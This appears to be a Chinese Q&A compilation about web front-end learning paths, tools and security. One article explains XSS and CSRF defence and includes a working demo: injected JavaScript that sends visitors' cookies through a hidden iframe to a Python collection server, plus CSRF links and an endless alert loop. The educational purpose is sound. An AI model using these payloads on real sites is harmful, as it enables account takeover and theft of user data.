‘壹’ web前端可以做什么相关工作
1.网页制作，负责页面的设计与制作。
2.前端制作工程师，专门负责制作前端页面。
3.网站重构工程师，负责web页面的制作，主要是html和css部分，可能还需要知道一些Java语言。
4.前端开发工程师，其Web前端人员的职责范围也更大一些，他们的Web前端人员不仅要做HTML和CSS，还要做全部的Java或者Action，并且进一步扩展到Ajax甚至PHP等脚本语言的范围。
5.资深前端开发工程师，需要掌握的技能更多更全面，包含，小程序、app等等。
6.前端架构师等等。
‘贰’ web前端开发需要学习什么知识
第一阶段：
HTML+CSS:
HTML进阶、CSS进阶、div+css布局、HTML+css整站开发、
JavaScript基础：
Js基础教程、js内置对象常用方法、常见DOM树操作大全、ECMAscript、DOM、BOM、定时器和焦点图。
JS基本特效：
常见特效、例如：tab、导航、整页滚动、轮播图、JS制作幻灯片、弹出层、手风琴菜单、瀑布流布局、滚动事件、滚差视图。
JS高级特征：
正则表达式、排序算法、递归算法、闭包、函数节流、作用域链、基于距离运动框架、面向对象基础、
JQuery：基础使用
悬着器、DOM操作、特效和动画、方法链、拖拽、变形、JQueryUI组件基本使用。
第二阶段：
HTML5和移动Web开发
HTML5：
HTML5新语义标签、HTML5表单、音频和视频、离线和本地存储、SVG、WebSocket、Canvas.
CSS3:
CSS3新选择器、伪元素、脸色表示法、边框、阴影、background系列属性改变、Transition、动画、景深和深透、3D效果制作、Velocity.js框架、元素进场、出场策略、炫酷CSS3网页制作。
Bootstrap:
响应式概念、媒体查询、响应式网站制作、删格系统、删格系统原理、Bootstrap常用模板、LESS和SASS。
移动Web开发：
跨终端WEB和主流设备简介、视口、流式布局、弹性盒子、rem、移动终端JavaScript事件、手机中常见JS效果制作、Zepto.js、手机聚划算页面、手机滚屏。
第三阶段：
HTTP服务和AJAX编程
WEB服务器基础：
服务器基础知识、Apache服务器和其他WEB服务器介绍、Apache服务器搭建、HTTP介绍。
PHP基础：
PHP基础语法、使用PHP处理简单的GET或者POST请求、
AJAX上篇：
Ajax简介和异步的概念、Ajax框架的封装、XMLHttpRequest对象详细介绍方法、兼容性处理方法、Ajax框架的封装、Ajax中缓存问题、XML介绍和使用。
AJAX下篇：
JSON和JSON解析、数据绑定和模板技术、JSONP、跨域技术、图片预读取和lazy-load技术、JQuery框架中的AjaxAPI、使用Ajax实现爆布流案例额。
第四阶段：
面向对象进阶
面向对象终极篇：
从内存角度到理解JS面向对象、基本类型、复杂类型、原型链、ES6中的面向对象、属性读写权限、设置器、访问器。
面向对象三大特征：
继承性、多态性、封装性、接口。
设计模式：
面向对象编程思维、单例模式、工厂模式、策略模式、观察者模式、模板方法模式、代理模式、装饰者模式、适配器模式、面向切面编程。
第五阶段：
封装一个属于自己的框架
框架封装基础：
事件流、冒泡、捕获、事件对象、事件框架、选择框架。
框架封装中级：
运动原理、单物体运动框架、多物体运动框架、运动框架面向对象封装。
框架封装高级和补充：
JQuery框架雏形、可扩展性、模块化、封装属于传智自己的框架。
第六阶段：
模块化组件开发
面向组件编程：
面向组件编程的方式、面向组件编程的实现原理、面向组件编程实战、基于组件化思想开发网站应用程序。
面向模块编程：
AMD设计规范、CMD设计规范、RequireJS，LoadJS、淘宝的SeaJS。
第七阶段：
主流的流行框架
Web开发工作流：
GIT/SVN、Yeoman脚手架、NPM/Bower依赖管理工具、Grunt/Gulp/Webpack。
MVC/MVVM/MVW框架：
Angular.js、Backbone.js、Knockout/Ember。
常用库：
React.js、Vue.js、Zepto.js。
第八阶段：
HTML5原生移动应用开发
Cordova：
WebApp/NativeApp/HybirdApp简介、Cordova简介、与PhoneGap之间的关系、开发环境搭建、Cordova实战(创建项目，配置，编译，调试，部署发布)。
Ionic：
Ionic简介和同类对比、模板项目解析、常见组件及使用、结合Angular构建APP、常见效果(下拉刷新，上拉加载，侧滑导航，选项卡)。
ReactNative：
ReactNative简介、ReactNative环境配置、创建项目，配置，编译，调试，部署发布、原生模块和UI组件、原生常用API。
HTML5+：
HTML5+中国产业联盟、HTML5PlusRuntime环境、HBuilder开发工具、MUI框架、H5+开发和部署。
第九阶段：
Node.js全栈开发：
快速入门：
Node.js发展、生态圈、Io.js、Linux/Windows/OSX环境配置、REPL环境和控制台程序、异步编程，非阻塞I/O、模块概念，模块管理工具、开发流程，调试，测试。
核心模块和对象：
全局对象global，process，console，util、事件驱动，事件发射器、加密解密，路径操作，序列化和反序列化、文件流操作、HTTP服务端与客户端。
Web开发基础：
HTTP协议，请求响应处理过程、关系型数据库操作和数据访问、非关系型数据库操作和数据访问、原生的Node.js开发Web应用程序、Web开发工作流、Node.js开发Blog案例。
快速开发框架：
Express简介+MVC简介、Express常用API、Express路由模块、Jade/Ejs模板引擎、使用Express重构Blog案例、Koa等其他常见MVC框架。
希望会给大家带来帮助！
‘叁’ 《Web前端黑客技术揭秘》epub下载在线阅读全文，求百度网盘云资源
《Web前端黑客技术揭秘》（钟晨鸣）电子书网盘下载免费在线阅读
链接：
书名：Web前端黑客技术揭秘
豆瓣评分：7.6
作者:钟晨鸣/徐少培
出版社:电子工业出版社
出版年:2013-1
页数:361
内容简介：
Web前端的黑客攻防技术是一门非常新颖且有趣的黑客技术，主要包含Web前端安全的跨站脚本（XSS）、跨站请求伪造（CSRF）、界面操作劫持这三大类，涉及的知识点涵盖信任与信任关系、Cookie安全、Flash安全、DOM渲染、字符集、跨域、原生态攻击、高级钓鱼、蠕虫思想等，这些都是研究前端安全的人必备的知识点。本书作者深入剖析了许多经典的攻防技巧，并给出了许多独到的安全见解。
本书适合前端工程师阅读，同时也适合对Web前端各类安全问题或黑客攻防过程充满好奇的读者阅读，书中的内容可以让读者重新认识到Web的危险，并知道该如何去保护自己以免受黑客的攻击。
作者简介：
钟晨鸣，毕业于北京化工大学，网名：余弦。国内着名Web安全团队xeye成员，除了爱好Web Hacking外，还对宇宙学、人类学等保持着浓厚兴趣。2008年加入北京知道创宇信息技术有限公司，现任研究部总监，团队致力于Web安全与海量数据研究，并进行相关超酷平台的实现。如果大家想和我交流，可以私信我微博：weibo.com/evilcos，同时本书的最新动态也会发布在我的微博上。
徐少培，毕业于河北工业大学。网名：xisigr。国内着名Web安全团队xeye成员。2008年加入北京天融信公司，现任北京天融信资深安全专家，重点负责安全研究工作，主要研究领域包括：WEB安全、HTML5安全、浏览器安全、协议分析等。
‘肆’ web前端开发常用又好用的几个软件
前端开发是创建Web页面或app等前端界面呈现给用户的过程，通过HTML，CSS及JavaScript以及衍生出来的各种技术、框架、解决方案，来实现互联网产品的用户界面交互。Web前端的学习起来相对简单，未来的发展前景也是非常不错的。
web全栈工程师5.0课程包括：
①计算机基础以及PS基础
②前端开发基础（HTML5开发、JavaScript基础到高级、jQuery网页特效、Bootstrap框架）
③移动开发
④前端高级开发（ECMAScript6、Veu.js框架开发、webpack、前端页面优化、React框架开发、AngularJS 2.0框架开发等）
⑤小程序开发
⑥全栈开发（Mysql数据库、Python编程语言、Django框架等）
⑦就业拓展（网站SEO与前端安全技术）
互联网行业目前还是最热门的行业之一，学习IT技能之后足够优秀是有机会进入腾讯、阿里、网易等互联网大厂高薪就业的，发展前景非常好，普通人也可以学习。
想要系统学习，你可以考察对比一下开设有相关专业的热门学校，好的学校拥有根据当下企业需求自主研发课程的能力，能够在校期间取得大专或本科学历，中博软件学院、南京课工场、南京北大青鸟等开设相关专业的学校都是不错的，建议实地考察对比一下。
祝你学有所成，望采纳。
‘伍’ web前端和web安全有联系吗
1、web安全主要是针对网站、数据库这一类的互联网网站攻击行为的防御。
2、前端、后端、数据库、网络等,与Web安全都有关系
‘陆’ 常见Web前端技术之间的关系，你了解多少
如果你是一个Web开发初学者，那么你难免会在网上搜索HTML, CSS, XML, JS(Javascript), DOM, XSL等等这些词的意思，然而，随着学习的深入。当你把他们搅在一起，你又糊涂了，你会不停的问，HTML是什么?CSS是什么?XML是什么?JS是什么?它们到底有什么用?无论是网络网络，还是一些IT专题网站，又或者一些牛人博客，他们都会告诉你，某个单一的东西是什么，这类文章很多，但很少有涉及，它们组合起来是什么，有什么用。我想，我写这篇文章，就是为了说明一下这个他们很少涉及的问题。
归纳、总结、提炼能力是我们进步的发动机，这种能力是可以有意识地培养的，拉卡拉电子支付公司董事长兼总裁孙陶然提到：在拉卡拉我们要求用三条说清楚任何问题就是一种能力训练，任何问题如果不能用三条说清楚说明你还没想透。
在这里，我争取用最根本的语言向大家分别说明HTML, CSS, XML, JS到底是什么，有什么用。然后我们再来看把他们组合起来是什么，有什么用。当然如果你对HTML, CSS, XML, JS有足够了解，可以直接跳过，看文章的后半部分，那里才是本文核心所在。
第一部分
1. HTML超文本标记语言 (Hyper Text Markup Language) ，是用来描述网页的一种标记语言。
<html>
<head>
<title>HTML</title>
</head>
<body>
<p id="num1">Hello World! I'm HTML</p>
</body> </html> 12345678
网页文件本身是一种文本文件，通过在文本文件中添加标记，可以告诉浏览器如何显示其中的内容(如：文字如何处理，画面如何安排，图片如何显示等)。
HTML之所以称为超文本标记语言，是因为文本中包含了所谓“超链接”点。超文本(Hypertext)是用超链接的方法，将各种不同空间的文字信息组织在一起的网状文本。
概括，HTML就是整合网页结构和内容显示的一种语言。
Hello World! I'm HTML1
浏览器按顺序阅读网页文件，然后根据标记符解释和显示其标记的内容。
这段内容在浏览器上显示的结果是：Hello World! I’m HTML
我们看
标签上有一个id，这是
这个标签的唯一标识，方便别人找到它，对它进行操作。
2. CSS 层叠样式表单(Cascading StyleSheet)。是将样式信息与网页内容分离的一种标记性语言 。作为网站开发者，你能够为每个HTML元素定义样式，并将之应用于你希望的任意多的页面中。如需进行全局的更新，只需简单地改变样式，然后网站中的所有元素均会自动地更新。这样，即设计人员能够将更多的时间用在设计方面，而不是费力克服HTML的限制。说白了，CSS就是设置网页上HTML元素属性的语言。
CSS代码：
#hello{
color:blue;
} 123
当把这段CSS代码应用于HTML中，它会找到id为“hello”的HTML标签，将其中的内容以蓝色显示出来;具体的插入HTML的方法这里不再赘述(说一句，只说明是什么，有什么用的问题，不关注技术细节，技术细节网上很好找)。
3. Javascript，首先说明JavaScript和Java无关，JavaScript 是属于网络的脚本语言!那么为什么名字如此相似?这是典型的市场营销方面的成功，它的推广成功,也是借了Java的东风。当微软开始意识到Javascript在Web开发人员中流行起来时，微软还是一贯风格，建立了自己的脚本语言，JScript。
Javascript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、Java脚本语言(Java小程序)一起实现在一个Web页面中链接多个对象，与Web客户交互作用。例如可以设置鼠标悬停效果，在客户端验证表单，创建定制的HTML页面，显示警告框，设置cookie等等。
网页中所有的对数据进行判断、操作以及向浏览者反馈信息的本地代码实现部分均是Javascript(当然也有其他的)，这样既可以使网页更具交互性，给用户提供更令人兴奋的体验，同时减轻了服务器负担。
JS的代码如下：
function jsHello(){
alert('Hello World！');
}123
当把以上代码应用于HTML代码，它会在你的HTML载入时，弹出一个内容为“Hello World!”的对话框。同样，它是通过嵌入或调入在标准的HTML语言中实现的，至于如何嵌入或调入不再赘述，理由上面提到了。
4. Xml可扩展标记语言 (Extensible MarkupLanguage)，是一套定义语义标记的规则，这些标记将文档分成许多部件并对这些部件加以标识。它也是元标记语言，即定义了用于定义其他与特定领域有关的、语义的、结构化的标记语言的句法语言。你可以把XML理解为一种数据库，例如rss就是xml的一种变体。
XML代码如下：
<Hello> <bcd>China</bcd> <bcd>USA</bcd> <bcd>UK</bcd> </Hello> 12345
XML的起因是，用户受到SGML(后面再说)复杂性的挫伤和HTML的不充分。相对HTML来说，XML更追求严谨性，如果说你在HTML代码中标签比较混乱，如未关闭等，或许浏览器会忽略这些错误;但同样的事情发生在XML中会给你带来大麻烦。
铺垫终于完了，在进入正题之前，建议大家对比着图来理解后边的内容，废话不多说，开始进入正题。
第二部分
AJAX：异步JavaScript和XML(AsynchronousJavaScript and XML)。
最后一个东东，它算得上是web2.0思想的心。AJAX=CSS+HTML+JS+XML+DOM+XSLT+XMLHTTP。是指一种创建交互式网页应用的网页开发技术。AJAX不是一种单一的新技术，而是有机地利用了一系列相关的技术。
在 2005年，Google 通过其 Google Suggest 使 AJAX 变得流行起来。
Google Suggest 使用 AJAX 创造出动态性极强的 web 界面：当您在谷歌的搜索框输入关键字时，Javascript会把这些字符发送到服务器，然后服务器会返回一个搜索建议的列表。
在AJAX中，XmlHttp用来在不改变页面的情况下传输数据，其中传输的数据即是XML，然后通过XSLT将其格式化，利用js通过dom对象将其显示到HTML中，同时利用CSS确定数据的显示及位置。
这项技术在网络上的应用无处不在，如你的微博，你的邮箱，你的QQ空间，再如搜索引擎，电子商务平台，网络地图等等
‘柒’ web前端开发面临的挑战主要是有哪些
平时工作，多数是开发Web项目，由于一般是开发内部使用的业务系统，所以对于安全性一般不是看的很重，基本上由于是内网系统，一般也很少会受到攻击，但有时候一些系统平台，需要外网也要使用，这种情况下，各方面的安全性就要求比较高了。
1、测试的步骤及内容
这些安全性测试，据了解一般是先收集数据，然后进行相关的渗透测试工作，获取到网站或者系统的一些敏感数据，从而可能达到控制或者破坏系统的目的。
2、SQL注入漏洞的出现和修复
SQL注入定义：
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。
SQL注入有时候，在地址参数输入，或者控件输入都有可能进行。如在链接后加入’号，页面报错，并暴露出网站的物理路径在很多时候，很常见，当然如果关闭了Web.Config的CustomErrors的时候，可能就不会看到。
3、跨站脚本攻击漏洞出现和修复
跨站脚本攻击，又称XSS代码攻击，也是一种常见的脚本注入攻击。例如在界面上，很多输入框是可以随意输入内容的，特别是一些文本编辑框里面，可以输入例如这样的内容，如果在一些首页出现很多这样内容，而又不经过处理，那么页面就不断的弹框，更有甚者，在里面执行一个无限循环的脚本函数，直到页面耗尽资源为止，类似这样的攻击都是很常见的，所以我们如果是在外网或者很有危险的网络上发布程序，一般都需要对这些问题进行修复。
‘捌’ 如何解决繁琐的WEB前端的XSS问题
后台做一层过滤，前台文本编辑器可以自己做一层标签过滤，不允许一些符号的输入就行了
xss攻击前端能做的有限
因为好多都是url转码来通过参数找漏洞，所以后台也要做一层过滤（例如nodejs的sql库就只允许单行sql，防止通过xss做注入）java之类的有现成多xss过滤器
剩下的就做ip黑名单吧，防止多次攻击
‘玖’ 前端安全方面有没有了解xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题&content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
‘拾’ web前端需要掌握的哪些知识
一个合格的web前端需要掌握哪些技术？
最基础的自然是JavaScript，HTML和css这三种语言。
首先了解下它们到底是什么。
HTML是用户看到的网页的骨架，比如你会发现当前页面分为左中右三个部分，其中还填充了不同的文字和图片；每个子部分还会继续细分，比如当前页面的中间部分下方有输入框等等。
CSS是网页展示的细节控制，比如你会发现有的文字是红底白色，有的子部分占了页面的二分之一宽，有的只占六分之一，有些部分需要用户进行某些操作（如点击，滑动）才会出现等等，这些就是有CSS来控制。
JavaScript是负责捕捉用户在浏览器上的操作，并与后端服务器进行数据交换的脚本语言。当用户在前端进行点击，输入等操作的时候，会触动绑定了该动作的JavaScript脚本，然后JavaScript收集数据，调用后端的api接口，再将后端返回的数据交给HTML和CSS渲染出来。
一个网页的HTML代码和CSS代码是可以直接在浏览器中查看的，你可以直接按F12，就能看到下图右侧的模块，左右侧红框就是代码与实际页面的对应关系。因此如果你看到某个网站的布局很不错，不妨点击F12，进行学习。
前端框架
然而，实际应用中，已经很少有正规的项目组直接用上述三种语言进行web 前端开发了，而是使用很多封装了这三种语言的框架，比如
Vue.js
，angular，react native等等。它们是来自谷歌和Facebook的大神项目组，基于自己的经验，封装了原生前端语言，实现了更多更复杂更酷炫的功能。因此，可以说，学会使用这些框架，能达到事半功倍的效果。
比如用了vue，它是自底向上增量开发的设计，其核心只关心图层，而且还可以与其他库或已存项目融合，学习门槛极其友好；另一方面，vue可以驱动单文件组件和vue生态系统支持的库开发的复杂单页应用。有了这个生态系统，可以说，vue是处在一个不断壮大，不断完善的欣欣向荣的状态。
网络通信协议
由于前后端分离的趋势，前端还需要了解很多网络通信协议的知识，这里不局限于http协议，因为据我的经验，有时候我们还会用到websocket等协议。因此，前端需要简单了解不同协议的特点以及使用方式，但是好消息是不用像学习计算机网络课程一样对每种协议的原理都了解的特别透彻，只要学会如何用前端语言发送这种协议的请求就够了。